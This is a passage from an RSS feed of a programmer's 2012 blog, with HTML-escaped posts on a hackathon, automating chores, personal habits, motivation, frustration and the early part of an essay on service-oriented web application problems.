better programmer. Everyone wants to improve at the things they love.&lt;/li>
&lt;/ol>
&lt;p>Given those assumptions, I&amp;rsquo;m here to tell you that if you live in
&lt;strong>California&lt;/strong>, you should really be going to the &lt;a href="http://www.meetup.com/LA-Hackathons/events/85658952/" title="LA Hackathon">LA Hackathon&lt;/a> on
&lt;strong>November 4, 2012&lt;/strong>. It doesn&amp;rsquo;t matter whether you&amp;rsquo;re in Eureka, SF, Los
Gatos, or San Diego&amp;ndash;if you live in California, code stuff, and like being
awesome, you should make plans (right now!) to go to this event.&lt;/p>
&lt;p>Here&amp;rsquo;s why:&lt;/p>
&lt;p>&lt;strong>This event is all about working on open source software, and contributing to
the community.&lt;/strong> It doesn&amp;rsquo;t matter how great of a coder you are&amp;ndash;if you&amp;rsquo;re
passionate about building &lt;em>fucking amazing&lt;/em> software, hacking on open source
projects is an excellent way to get better. As an added benefit, your work
will be helping other people, and that&amp;rsquo;s always a good thing.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Don&amp;rsquo;t have an open source project to work on? &lt;em>Don&amp;rsquo;t fucking sweat
it!&lt;/em> There are going to be lots of people to collaborate with&amp;ndash;you can get
involved on someone else&amp;rsquo;s project, join one of the groups, or start something
completely new.&lt;/p>
&lt;p>&lt;strong>You&amp;rsquo;re going to meet amazing people.&lt;/strong> This event is filled with awesome
programmers. The people hosting it are incredibly well known kick ass
programmers, and the people coming are equally bad ass. Regardless of whether
you&amp;rsquo;re an intro or extrovert, you&amp;rsquo;ll be making some awesome friends,
guaranteed.&lt;/p>
&lt;p>&lt;strong>BREAKFAST. LUNCH. DINNER.&lt;/strong> Need I say more? The food is always good (I
know from experience), and you will have some awesome jet fuel in your tummy to
help you rock your software all day long.&lt;/p>
&lt;p>&lt;strong>&amp;ldquo;Idea Guy Security&amp;rdquo;.&lt;/strong> Know those idea guys that are always going to tech
meetups and bothering you? Those dudes who &lt;em>just need a programmer for 5
hours&lt;/em> to implement the next Facebook? Those same dudes who heckle you all
night trying to get you to work for free on their Instagram clone? &lt;strong>Those guys
are getting kicked out at the door.&lt;/strong> This event is &lt;em>famous&lt;/em> for kicking
recruiters, idea guys, and non-programmers out before they get in. This means
you&amp;rsquo;ll be surrounded by awesome programmers all day, and won&amp;rsquo;t have to worry
about business people bothering you.&lt;/p>
&lt;p>&lt;strong>You&amp;rsquo;re going to have fun.&lt;/strong> If you&amp;rsquo;ve never been in a room full of
programmers, all hacking away on awesome stuff and chatting&amp;ndash;it&amp;rsquo;s a beautiful
thing. This is the 5th LA Hackathon, and each time they seem to get better and
better. I always end up writing amazing code, meeting really awesome people,
and having a blast.&lt;/p>
&lt;p>In conclusion, you should really be going to this thing. It&amp;rsquo;s a fucking
&lt;strong>TON&lt;/strong> of fun, filled with amazing guys (and gals), and worth a long drive
and the 10$ ticket price.&lt;/p>
&lt;p>If you&amp;rsquo;d like to sign up, you can do so
here: &lt;a href="http://www.meetup.com/LA-Hackathons/events/85658952/" title="LA Hackathon">http://www.meetup.com/LA-Hackathons/events/85658952/&lt;/a>.&lt;/p>
&lt;p>Be sure to get your ticket quick though, this event &lt;strong>ALWAYS SELLS OUT&lt;/strong>, and
is incredibly popular. There are only &lt;strong>150&lt;/strong> open slots this time, so get
yours now!&lt;/p>
&lt;p>Hope to see you there &amp;gt;:)&lt;/p></description></item><item><title>Freeing Up Your Time</title><link>https://rdegges.com/2012/freeing-up-your-time/</link><pubDate>Fri, 19 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/freeing-up-your-time/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/freeing-up-your-time/samurai-meditating-sketch.png" alt="Samurai Meditating Sketch" title="Samurai Meditating">
&lt;/p>
&lt;p>I&amp;rsquo;m a huge proponent of being lazy. And of course, by being lazy, I mean being
smart.&lt;/p>
&lt;p>In my line of work (building tech companies), there are constantly a million
separate things to do, worry about, and focus on at any given time. One day
you&amp;rsquo;ll be reaching out to customers all day long, and another day you&amp;rsquo;ll be
furiously fixing bugs and adding features. No matter what happens, there is
never a shortage of things that just &lt;em>have to get done&lt;/em>.&lt;/p>
&lt;p>When you&amp;rsquo;re completely swamped with things to do, all of high importance, it
seems like every little thing you worry about adds fifty pounds to your
shoulders. It&amp;rsquo;s really easy to get overwhelmed by all the little things:
remembering to pay your rent, buy toothpaste, generate the billing reports for
your company, etc. Every single tiny little thing you have to do, each day /
week / month / year adds up.&lt;/p>
&lt;p>While it may not look like it takes an enormous amount of time to pay you rent
each month, the mental cost is a lot higher. When you&amp;rsquo;re at the gym half-way
through the month and your brain alerts you and says &lt;em>Oh yea! I have to pay
the rent again in two weeks, better not forget about it.&lt;/em> and then keeps
reminding you every day or so until you do it&amp;ndash;you&amp;rsquo;ve accumulated minutes worth
of stress, worry, and unnecessary distraction. When you think about all the
things you have to remember to do each month, &lt;a href="http://www.youtube.com/watch?v=WO4tIrjBDkk" title="Inches Speech">it all adds up&lt;/a>, inch by inch.&lt;/p>
&lt;p>If you&amp;rsquo;d like to free up your time, be able to keep a clear mind, and focus on
the things you want to focus on (&lt;em>not things you are forced to focus on&lt;/em>),
you&amp;rsquo;ll need to automate. All those little things you have to do each month?
Automate them. Be as lazy as you can possibly be.&lt;/p>
&lt;ul>
&lt;li>Can you have toothpaste shipped to your house automatically each month? Do
it.&lt;/li>
&lt;li>Can you have toilet paper shipped to your house each month? Do it.&lt;/li>
&lt;li>Can you write a script to automate those billing reports at the end of the
month? Do it.&lt;/li>
&lt;li>Can you have your bank automatically pay your rent for you? Do it.&lt;/li>
&lt;/ul>
&lt;p>Automation is an incredibly useful tool, one that way too many people don&amp;rsquo;t
take advantage of. It is one of the best ways to cut back on worry, stress,
and unnecessary distractions in the short and long term. If you can completely
automate even some of your basic monthly needs, you&amp;rsquo;ll immediately reap the
benefits.&lt;/p>
&lt;p>For any of your basic product needs (toilet paper, toothpaste, razors, etc.),
you can most likely have &lt;a href="http://www.amazon.com/?_encoding=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;linkCode=ur2&amp;amp;tag=rdegges-20" title="Amazon">Amazon&lt;/a> auto-ship them to your house each month.&lt;/p>
&lt;p>Need to generate business reports each month? Why not use a service like
&lt;a href="http://ducksboard.com/" title="Ducksboard">Ducksboard&lt;/a> and plug your data into a single, fancy dashboard that you can
look at whenever you need to.&lt;/p>
&lt;p>Need to pay your rent on the 1st of the month? I can almost guarantee your
bank will let you do it automatically.&lt;/p>
&lt;p>I started ruthlessly automating my personal nuisances last year, and it&amp;rsquo;s made
an enormous difference in how I spend my time. Instead of worrying about
trivial matters constantly, running to the grocery store at 11pm to grab
toothpaste, or exchanging 20 emails back and fourth at the start of each month
about business analytics&amp;ndash;I can instead focus on the things that I&amp;rsquo;d actually
like to work on, as opposed to being pulled in all directions.&lt;/p>
&lt;p>If you&amp;rsquo;re looking for a quick way to cut back on your stress, free up some
time, and clear your mind&amp;ndash;spend a day automating all your basic needs&amp;ndash;I
guarantee you won&amp;rsquo;t regret it.&lt;/p></description></item><item><title>Some Constants</title><link>https://rdegges.com/2012/some-constants/</link><pubDate>Sun, 14 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/some-constants/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/some-constants/tree-sketch.png" alt="Tree Sketch" title="Tree Sketch">
&lt;/p>
&lt;p>Everyone has their constants&amp;ndash;a spouse, a ritual, parents, friends, whatever.
Even with shit gets crazy in your life and you&amp;rsquo;ve got a million things going
on, your constants are the things you can always count on.&lt;/p>
&lt;p>Having things you can rely on day after day makes you feel comfortable. No
matter how tough things get, no matter what craziness is currently going on,
you can always count on your constants.&lt;/p>
&lt;p>A few months ago I really changed my daily schedule around. I started making
some habit changes that I&amp;rsquo;ve really enjoyed. What follows are my constants.
These are the things that make me feel awesome every day, regardless of whether
or not I&amp;rsquo;m feeling my best.&lt;/p>
&lt;h2 id="lifting-weights">Lifting Weights&lt;/h2>
&lt;p>&lt;em>PICK STUFF UP, AND PUT IT DOWN AGAIN.&lt;/em> I know that everyone has their
preferred form of exercise, but for me, it is lifting weights. The first thing
I do when I wake up (6 days a week) is head over to my local gym and do the
day&amp;rsquo;s workout.&lt;/p>
&lt;p>It feels nice knowing that even if the rest of my day sucks&amp;ndash;even if I break
production, write crappy code, get overwhelmed with the TODO list&amp;ndash;at least I
got a good workout in.&lt;/p>
&lt;p>Getting a win early in the day feels good, keeps me motivated, and generally
makes me feel more awesome.&lt;/p>
&lt;h2 id="reading">Reading&lt;/h2>
&lt;p>I read a lot of books. I&amp;rsquo;m really into software best practices, programming,
and theory books. (&lt;em>As a sidenote, basically every book
&lt;a href="http://pragprog.com/" title="The Pragmatic Bookshelf">The Pragmatic Bookshelf&lt;/a> publishes is fucking amazing.&lt;/em>)&lt;/p>
&lt;p>I don&amp;rsquo;t really understand how other people can go several days (or more!)
without sitting down, and reading some sort of book. Out of all the things
I&amp;rsquo;ve done in my life, reading has probably been the most important.&lt;/p>
&lt;p>If you aren&amp;rsquo;t reading books, learning new things, and pushing yourself out of
your comfort zone (knowledge wise)&amp;ndash;you&amp;rsquo;re going to stagnate. In my opinion,
reading books is the single greatest way to always be expanding your knowledge
base.&lt;/p>
&lt;p>Get a &lt;a href="http://www.amazon.com/gp/product/B008UB7DU6/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B008UB7DU6&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Kindle">Kindle&lt;/a>, download some ebooks, visit your library&amp;ndash;whatever. Just
read stuff. More.&lt;/p>
&lt;h2 id="eating-meat">Eating Meat&lt;/h2>
&lt;p>&lt;em>MEEEAAAATTTT!&lt;/em> Meat tastes good, it&amp;rsquo;s filled with protein, makes you feel
full, and is low on calories. What could be better?&lt;/p>
&lt;p>I don&amp;rsquo;t really have much to elaborate on for this one. Eating meat makes me
feel awesome, helps repair muscle tissue, and tastes amazing. Some of my
favorite dishes at the moment are almond chicken, meatballs with sauteed
onions, and everyone&amp;rsquo;s favorite: bacon.&lt;/p>
&lt;h2 id="writing">Writing&lt;/h2>
&lt;p>Writing is very therapeutic. The act of analyzing your thoughts, figuring out
what they mean, and then translating that meaning into groupings of words that
other people can understand is a great way to improve your:&lt;/p>
&lt;ul>
&lt;li>Thinking skills.&lt;/li>
&lt;li>Thoughtfulness.&lt;/li>
&lt;li>Knowledge of whatever subject you&amp;rsquo;re writing about.&lt;/li>
&lt;/ul>
&lt;p>In addition to the obvious benefits, I find that writing every day helps me
relax. It feels good to pick a topic, think about it, and spend some time
writing about it. It&amp;rsquo;s a soothing process.&lt;/p>
&lt;p>Writing is also a pretty good way to get to know other people. I&amp;rsquo;ve made tons
of really awesome friends through my blog that I never would have met
otherwise. There are so many interesting people out there, and what better way
to meet them than through writing about topics they care about?&lt;/p>
&lt;p>If you end up writing about a lot of technical stuff, you&amp;rsquo;ll probably meet some
really awesome technical people. If you write a lot about business stuff, I&amp;rsquo;m
sure you&amp;rsquo;ll meet awesome business people.&lt;/p>
&lt;p>Writing a little bit every day keeps me sane, helps me relax, and generally
makes me feel awesome.&lt;/p>
&lt;p>These are the my constants. They change from time to time, but are always
there for me to fall back on. What are yours?&lt;/p></description></item><item><title>My Bane - Multiple Projects</title><link>https://rdegges.com/2012/my-bane-multiple-projects/</link><pubDate>Sat, 13 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/my-bane-multiple-projects/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/my-bane-multiple-projects/bane-sketch.png" alt="Bane Sketch" title="Bane Sketch">
&lt;/p>
&lt;p>This topic is something that&amp;rsquo;s been floating around in the back of my mind for
the past several years. My weakness, fatal flaw, bane, whatever you want to
call it&amp;hellip; Is that I&amp;rsquo;m awful at doing multiple things. Really awful.&lt;/p>
&lt;p>&lt;em>Whew&lt;/em>, just saying it makes me feel a little bit better.&lt;/p>
&lt;p>Every single day I open up my laptop, turn it on, and stare at the screen for a
good 10 seconds or so before diving into whatever it is I&amp;rsquo;m doing: working on
&lt;a href="https://www.opencnam.com/" title="OpenCNAM">my startup&lt;/a>, working on &lt;a href="https://github.com/rdegges" title="GitHub">GitHub projects&lt;/a> I&amp;rsquo;ve created, reviewing pull
requests, reviewing feedback for &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">my book&lt;/a>, working on one of the other 50+
projects I&amp;rsquo;ve got going on at any given time&amp;hellip; &lt;strong>UGH&lt;/strong>.&lt;/p>
&lt;p>During those 10 seconds, I&amp;rsquo;m completely destroyed by a tidal wave of thoughts:&lt;/p>
&lt;ul>
&lt;li>Oh no! I didn&amp;rsquo;t review that pull request from that library I wrote.&lt;/li>
&lt;li>Oh no! I need to finish up the new billing stuff on the website before our
user emails go out!&lt;/li>
&lt;li>Oh no! I need to rewrite this chapter of my book after getting some really
awesome feedback.&lt;/li>
&lt;li>Oh no! I&amp;rsquo;ve got a big talk coming up that I have to work on in the next
several weeks.&lt;/li>
&lt;li>&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>As soon as those 10 seconds are over, however, I regain my composure, remember
the most important thing I need to be working on, and start attacking it.&lt;/p>
&lt;p>What really bothers me, however, is that day after day, month after month, year
after year&amp;ndash;I still think about all the things I need to do, should be doing,
could have done, and want to do&amp;ndash;&lt;em>constantly&lt;/em>. It&amp;rsquo;s as if somewhere inside I&amp;rsquo;m
paralyzed by my options, ambitions, thoughts, and goals.&lt;/p>
&lt;p>I &lt;strong>know&lt;/strong> that I want to do all of the things I&amp;rsquo;ve got on my mind. These are
all things I&amp;rsquo;ve thought about, started, worked on, and set goals for. These
are all things that I really &lt;em>love&lt;/em>, and want to see become successful, kick
ass, and enviable projects.&lt;/p>
&lt;p>And even though I&amp;rsquo;m able to maintain focus&amp;ndash;working on the most important
things every day&amp;ndash;it still bothers me to no end that I&amp;rsquo;m unable to dedicate as
much time, commitment, and energy as I want to each of these projects that I
love so much.&lt;/p>
&lt;p>I&amp;rsquo;m beginning to think that at some point, importance just doesn&amp;rsquo;t matter
anymore. If I feel really excited about working on my book, then I&amp;rsquo;m going to
work on my book. If I feel really motivated to write that sexy new billing
interface for my users, I&amp;rsquo;ll do that. If I feel like pushing the new product
launch back two days so I have time to clean up, isolate, and publish that
awesome python library which allows me to remove duplicate code from the
code base, then I&amp;rsquo;m going to do it!&lt;/p>
&lt;p>From now on, I&amp;rsquo;m going to make a conscious effort to stop letting importance
dictate my life, and instead let my passion and motivation drive my daily work.&lt;/p>
&lt;p>Instead of suppressing my urge to hack on my favorite projects, I&amp;rsquo;d instead
like to use my passion to get shit done, feel happy with myself, and build
awesome stuff. &lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Just to clarify, I&amp;rsquo;m not the type of person to work on a million
separate ideas at a time. I have a relatively small list of projects that are
really meaningful to me, which is what I&amp;rsquo;m talking about in this article.&lt;/p></description></item><item><title>No Regrets</title><link>https://rdegges.com/2012/no-regrets/</link><pubDate>Wed, 10 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/no-regrets/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/no-regrets/dark-mage-sketch.png" alt="Dark Mage Sketch" title="Dark Mage Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve always been an extreme person. My internal motto has always been to
either do something all the way, or not do it at all.&lt;/p>
&lt;p>When I was getting to know my wife (back when she was just my girlfriend), I
think this scared her a bit. Always putting everything you have into
everything you do is really draining (on yourself, and the people around you).&lt;/p>
&lt;p>If you&amp;rsquo;re on a strict diet, your friends may not like it when you can&amp;rsquo;t go out
to certain restaurants with them. If you&amp;rsquo;re on a strict time schedule, your
friends may not like it when you can&amp;rsquo;t hang out on the weekends. If you&amp;rsquo;re
building a company, your friends may not like the fact that you&amp;rsquo;re always
talking about your work. If you&amp;rsquo;re lifting heavy weights six times a week,
your friends may not like the fact that you&amp;rsquo;re always completely exhausted.&lt;/p>
&lt;p>No matter what the situation, giving 100% of your effort to any one task is
hard. It requires dedication, commitment, and pain.&lt;/p>
&lt;p>When my wife first told me how extreme I was from her point of view, I had to
take a step back and think it over&amp;ndash;was I really &lt;em>that&lt;/em> extreme? Do I need to
slow down? Should I pace myself more? So I did what anyone would do: I tried
it. I slowed down, paced myself, and tried to relax more.&lt;/p>
&lt;p>After going through a few phases of being &lt;em>not-so-extreme&lt;/em>, I realized that it
just wasn&amp;rsquo;t for me. If I&amp;rsquo;m not giving what I&amp;rsquo;m doing 100% of my effort, I tend
to feel bad about myself&amp;ndash;I tend to have regrets.&lt;/p>
&lt;p>There&amp;rsquo;s nothing worse than looking back at:&lt;/p>
&lt;ul>
&lt;li>What you&amp;rsquo;ve done.&lt;/li>
&lt;li>What you&amp;rsquo;ve accomplished.&lt;/li>
&lt;li>What you want to accomplish.&lt;/li>
&lt;/ul>
&lt;p>And thinking about all the ways you&amp;rsquo;ve could&amp;rsquo;ve done better: &lt;em>I should have
done this&lt;/em>, or &lt;em>I could have done that&lt;/em>, or &lt;em>I can&amp;rsquo;t believe I didn&amp;rsquo;t do &amp;hellip;&lt;/em>.&lt;/p>
&lt;p>To me, that is by far the worst feeling&amp;ndash;knowing that you didn&amp;rsquo;t give it your
all, and feeling the regret sink in, day after day.&lt;/p>
&lt;p>Even though busting your ass every day and working as hard as you possibly can
is painful, it is a lot &lt;em>less painful&lt;/em> than not living up to your potential,
and taking the easy way out.&lt;/p>
&lt;p>No matter how much you try to justify your actions to yourself: if you aren&amp;rsquo;t
always fighting yourself to be as good as you can be, struggling to get better,
and ripping through obstacles on the way to the finish line&amp;ndash;you will certainly
have regrets.&lt;/p>
&lt;p>Don&amp;rsquo;t settle for that.&lt;/p></description></item><item><title>Don't Panic! Frustration is an Anti-Pattern</title><link>https://rdegges.com/2012/dont-panic-frustration-is-an-anti-pattern/</link><pubDate>Thu, 04 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/dont-panic-frustration-is-an-anti-pattern/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/dont-panic-frustration-is-an-anti-pattern/warrior-face-sketch.png" alt="Warrior Face Sketch" title="Warrior Face Sketch">
&lt;/p>
&lt;p>Frustration and programming seem to go hand in hand. When solving problems
with code, there are an unlimited amount of things that can go wrong, and very
few things that can go right:&lt;/p>
&lt;ul>
&lt;li>The third party library you&amp;rsquo;re using to implement a piece of functionality
doesn&amp;rsquo;t work as stated in the documentation.&lt;/li>
&lt;li>Your co-worker unknowingly reverted a bug fix you made the previous week.&lt;/li>
&lt;li>You accidentally deployed code that corrupted user data.&lt;/li>
&lt;/ul>
&lt;p>Unfortunately, this means that if you write a lot of code, you&amp;rsquo;ll be spending
quite a lot of time frustrated on a day-to-day basis.&lt;/p>
&lt;p>What I&amp;rsquo;ve noticed, however, is that lots of people tend to &lt;em>embrace&lt;/em> their
frustration instead of doing the opposite and &lt;em>letting it go&lt;/em>.&lt;/p>
&lt;p>When you bump into problems, if you tell yourself that it is difficult, and
convince yourself that you are a victim of issues you can&amp;rsquo;t control&amp;ndash;your
frustration will simply keep building and building, and your work will quickly
dwindle in quality.&lt;/p>
&lt;p>The more you embrace your frustration, the more frustrated you become.&lt;/p>
&lt;p>Through my own experience, I know that some individuals (and companies!)
actually &lt;em>thrive&lt;/em> off frustration. Instead of acknowledging the issues at
hand, some people simply press each other harder, and make each other feel
worse. In the workplace, this manifests as a boss pressuring his subordinates
when they&amp;rsquo;re in a tight spot, adding to the frustration and intensity of the
whole organization&amp;ndash;and delivery sub-par results.&lt;/p>
&lt;p>There is no way to stop yourself from being frustrated. Instead, however, you
can consciously make a decision to acknowledge your frustration (that broken
third party library, your reverted bug fix, whatever), realize that your
frustration isn&amp;rsquo;t helping you make progress, and let it go.&lt;/p>
&lt;p>With a clear head, you can now tackle the next most important problem (fixing
that broken library) without compromising your sanity.&lt;/p>
&lt;p>Just &lt;em>let it go&lt;/em>.&lt;/p></description></item><item><title>Dangerous People</title><link>https://rdegges.com/2012/dangerous-people/</link><pubDate>Wed, 03 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/dangerous-people/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/dangerous-people/barbarian-warrior-sketch.png" alt="Barbarian Warrior Sketch" title="Barbarian Warrior Sketch">
&lt;/p>
&lt;p>There are lots of people on earth&amp;ndash;some big, some small, some famous, some
unrecognizable, and some &lt;em>dangerous&lt;/em>.&lt;/p>
&lt;p>Out of all the people I can think of, the most dangerous ones are the pragmatic
ones. That guy (or gal) you know through IRC who&amp;rsquo;s always working on his side
projects well past 2am each night&amp;ndash;&lt;em>these&lt;/em> are the most dangerous people. They
possess skill sets and personality traits that aren&amp;rsquo;t commonly seen: they&amp;rsquo;re
reasonable, thoughtful, passionate about what they do, and not afraid to do it
(even if it takes a lot of work).&lt;/p>
&lt;p>Almost everything is done virtually today. Each day the physical world seems
to slip a bit further into history, and the virtual world seems to replace the
crumbling buildings it leaves behind. We&amp;rsquo;ve all seen how incredibly fast
technology has replaced century-old businesses, and there is no question in my
mind that within the next 20 years the trend will continue.&lt;/p>
&lt;p>If you&amp;rsquo;re a computer programmer, engineer, graphic designer, or any combination
of the above, you&amp;rsquo;re in an incredibly unique position right now: you have the
ability, tools, and power to build immense wealth, influence, and fame&amp;ndash;much
more so than at any previous time in history.&lt;/p>
&lt;p>With a laptop, an internet connection, and 50$ you can bootstrap even the most
ambitious technical projects &lt;em>by yourself&lt;/em>, decimating even the most highly
established, well-funded and successful businesses in an incredibly small
amount of time.&lt;/p>
&lt;p>It&amp;rsquo;s time to take your skills, and use them to your advantage. Instead of
putting in 60 hour weeks at a company you hate, it&amp;rsquo;s time to bust out of your
shell and unleash your power and ability. Don&amp;rsquo;t hesitate, and don&amp;rsquo;t hold back.
The timing couldn&amp;rsquo;t be more perfect, so don&amp;rsquo;t let this opportunity go to waste.&lt;/p>
&lt;p>If you&amp;rsquo;ve got the skills, ambition, and motivation to build something great,
get out there and do it. &lt;strong>Be dangerous&lt;/strong>, now is the time.&lt;/p></description></item><item><title>Programming and Motivation</title><link>https://rdegges.com/2012/programming-and-motivation/</link><pubDate>Tue, 02 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/programming-and-motivation/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/programming-and-motivation/bleach-sketch.png" alt="Bleach Sketch" title="Bleach Sketch">
&lt;/p>
&lt;p>Writing software can be pretty draining work. It is insanely fun when you&amp;rsquo;re
in the zone and feeling good, and insanely dull when you&amp;rsquo;re not feeling your
best.&lt;/p>
&lt;p>In my personal experience, I&amp;rsquo;ve found that my programming ability is directly
correlated to my motivation for the task at hand. Since I&amp;rsquo;m having a pretty
good day today, I thought I&amp;rsquo;d take a moment to reflect on programming and
motivation.&lt;/p>
&lt;h2 id="what-makes-good-software">What Makes Good Software?&lt;/h2>
&lt;p>Good software is all about passion. It doesn&amp;rsquo;t matter if you&amp;rsquo;re an excellent
programmer&amp;ndash;if you wake up each day and hate what you&amp;rsquo;re working on, the way
you&amp;rsquo;re feeling will be reflected in your work.&lt;/p>
&lt;p>On the other hand, if you love what you&amp;rsquo;re working on, really care about the
people who will be using your software, and aren&amp;rsquo;t afraid to be ruthless with
your day-to-day development, you&amp;rsquo;re going to produce awesome software, and
nothing will be able to stop you.&lt;/p>
&lt;p>When I&amp;rsquo;m not feeling so great, I try to really put myself into the shoes of my
users. If I were using my software, how would I feel about it? What can I do
to make it better so my users love it more, and want to keep using it? Just
the process of sitting down and really thinking about this is usually enough to
get me kick started, and motivated to do some serious hacking on whatever
project I&amp;rsquo;m working on at the moment.&lt;/p>
&lt;h2 id="having-fun">Having Fun&lt;/h2>
&lt;p>Programming is a mental exercise. Like any mental exercise, it&amp;rsquo;s easy to burn
yourself out if you do it the wrong way.&lt;/p>
&lt;p>Imagine sitting down reading a book on algorithms&amp;ndash;sure, it&amp;rsquo;s fun for a while
(when you&amp;rsquo;re feeling motivated!), but the farther along you go the more drained
you become, and eventually you&amp;rsquo;ll get frustrated and demotivated.&lt;/p>
&lt;p>The key to having fun while programming (at least for me), is to do it in
bursts. If you&amp;rsquo;ve got a lot of code to write, take some time to organize your
thoughts before you dive in. I like to list some small goals, e.g.&lt;/p>
&lt;ul>
&lt;li>Finish the about page.&lt;/li>
&lt;li>Write automated email script for low-balance notifications.&lt;/li>
&lt;li>Write a script to automatically adjust DynamoDB throughput for the &lt;code>users&lt;/code>
table.&lt;/li>
&lt;/ul>
&lt;p>This way I&amp;rsquo;ve at least got something concrete to look at in front of me, and
instead of writing code and constantly thinking about all the things I have to
do, I can just focus on a single task and do a really good job of finishing it.&lt;/p>
&lt;p>Not only does having your tasks laid out make it easier to focus, it also makes
you feel good when you get stuff done. Each time I finish code I&amp;rsquo;m working on,
I get a really great warm and fuzzy feeling deep down, which only serves to
increase my motivation and keep me feeling good &amp;gt;:)&lt;/p>
&lt;p>The other solution, of course, to having fun while programming is an old and
tested way: lock yourself in a small dark room, put on the best headphones you
have, and blast your favorite tunes. While not sustainable, this is definitely
a great way to have fun while building weekend projects =)&lt;/p>
&lt;h2 id="caffeine">Caffeine&lt;/h2>
&lt;p>While I&amp;rsquo;m definitely not a doctor, I can tell you with certainty that caffeine
makes me feel &lt;strong>awesome&lt;/strong>.&lt;/p>
&lt;p>Despite the fact that some people respond poorly to caffeine, to me it is a
staple of programming motivation. Not only do I feel great on caffeine (happy,
thoughtful, energetic), but it generally awakens my technical curiosity and
really gets me in the &lt;em>mood&lt;/em> for some hacking.&lt;/p>
&lt;p>Caffeine + programming is a magical mixture.&lt;/p>
&lt;p>For the health conscious&amp;ndash;if you&amp;rsquo;re interested in a good energy drink with no
sugar (no carbs), great flavor, and copious amounts of programmer blood
caffeine, you should try the &lt;a href="http://www.amazon.com/gp/product/B000NGNEKY/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B000NGNEKY&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Rockstar No Carb">Rockstar No Carb&lt;/a> (my favorite).&lt;/p>
&lt;h2 id="realize-your-ambitions">Realize Your Ambitions&lt;/h2>
&lt;p>Everyone has their ambitions&amp;ndash;what are yours? Do you want your open source
project to get a million followers on GitHub? Do you want to launch that side
project you&amp;rsquo;ve been working on for the past three months? Do you want to get
500 new users this month?&lt;/p>
&lt;p>It is &lt;em>so&lt;/em> easy to get distracted by day-to-day life, that it often becomes
difficult to always keep working towards your ambitions. I realized a long
time ago that no matter how busy you are, no matter how much pressure you&amp;rsquo;re
under, and no matter how beat up you&amp;rsquo;re feeling&amp;ndash;you need to keep working on
yourself, and pushing yourself to the next level.&lt;/p>
&lt;p>Progress only happens when you work hard, fight for what you want, and don&amp;rsquo;t
stop until you get it.&lt;/p>
&lt;p>The next time you&amp;rsquo;re not feeling your greatest, take a minute to think about
all the things you want to achieve, and then get out there and do them! Every
moment you spend feeling bad is a moment wasted, so try to focus on
accomplishing the things you want to accomplish, and making the journey to get
there as fun as possible.&lt;/p>
&lt;p>Ultimately, your success or failure to fulfill your ambitions rests solely on
your shoulders. Push yourself, and don&amp;rsquo;t give up!&lt;/p>
&lt;p>Motivation is a powerful thing. If you can manage to stay motivated for the
task at hand, whether it be programming, exercising, or whatever else you&amp;rsquo;d
like to do&amp;ndash;you&amp;rsquo;ll be able to do it better, faster, and enjoy it more along the
way.&lt;/p>
&lt;p>For programming (especially), maintaining motivation is extremely important as
your mood greatly effects your work.&lt;/p>
&lt;p>Now get out there and write some code!&lt;/p></description></item><item><title>Service Oriented Problems</title><link>https://rdegges.com/2012/service-oriented-problems/</link><pubDate>Mon, 01 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/service-oriented-problems/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/service-oriented-problems/grim-reaper-smoking-sketch.png" alt="Grim Reaper Smoking Sketch" title="Grim Reaper Smoking Sketch">
&lt;/p>
&lt;p>In my &lt;a href="https://rdegges.com/2012/service-oriented-side-effects/" title="Service Oriented Side Effects">last post&lt;/a>, I discussed some of the benefits of writing service
oriented web applications. In this post, I&amp;rsquo;d like to discuss some of the
problems commonly encountered when writing service oriented web applications.&lt;/p>
&lt;p>For the rest of this article, I&amp;rsquo;m going to assume you have some basic web
application programming experience.&lt;/p>
&lt;h2 id="problem-1---mvp">Problem 1 - MVP&lt;/h2>
&lt;p>One of the largest complaints you&amp;rsquo;ll hear about writing service oriented web
applications is that it takes longer to build a working MVP (minimum viable
product). What this means is that if you&amp;rsquo;re writing your web application from
scratch, and have to launch an initial version as quickly as possible, SOA
(service oriented architecture) probably isn&amp;rsquo;t for you.&lt;/p>
&lt;p>The reason this is true is that while service oriented web applications are far
simpler to maintain in the long run (among lots of other benefits), it requires
more upfront development time to get things working. Let&amp;rsquo;s look at &lt;em>why&lt;/em>.&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;re building a blogging engine (something like &lt;a href="https://www.tumblr.com/" title="Tumblr">tumblr&lt;/a>). If
you were start building your product as services, you&amp;rsquo;d start by writing:&lt;/p>
&lt;ul>
&lt;li>A &lt;code>tumblr-accounts&lt;/code> service which provides an API to create, edit, and
remove user accounts as well as authenticate users.&lt;/li>
